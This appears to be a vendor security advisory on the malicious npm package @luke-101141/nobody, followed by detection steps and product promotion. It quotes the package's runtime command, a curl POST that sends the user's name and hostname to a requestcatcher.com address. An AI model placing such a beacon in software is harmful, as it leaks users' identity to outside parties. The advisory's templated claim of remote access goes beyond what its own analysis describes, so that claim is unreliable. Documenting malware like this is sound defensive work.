@luke-101141/nobodynpm
Malicious code in @luke-101141/nobody (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
On require(), index.js executes curl -X POST "http://frgthyujiouyh.requestcatcher.com/noderedactedsdk/$(whoami)/$(hostname)/", leaking the installing user's identity and machine hostname over plaintext HTTP to an anonymous request-inspection service (requestcatcher.com) commonly used as a throwaway exfil sink. The package has no advertised functionality — empty description, no useful exports — its sole effect is the identity beacon. package.json also contains a top-level "preinstall": "node index.js" field outside the scripts block; as written it does not fire at install time, but the intent to trigger the same payload at npm install is explicit. Any consumer importing this package leaks host/user identity to the attacker.
The OpenSSF Package Analysis project identified '@luke-101141/nobody' @ 1.0.1 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @luke-101141/nobody (version 1.0.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @luke-101141/nobody across your stack and pipelines.
If you installed it — respond
@luke-101141/nobody establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If @luke-101141/nobody was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @luke-101141/nobody before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks @luke-101141/nobody-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.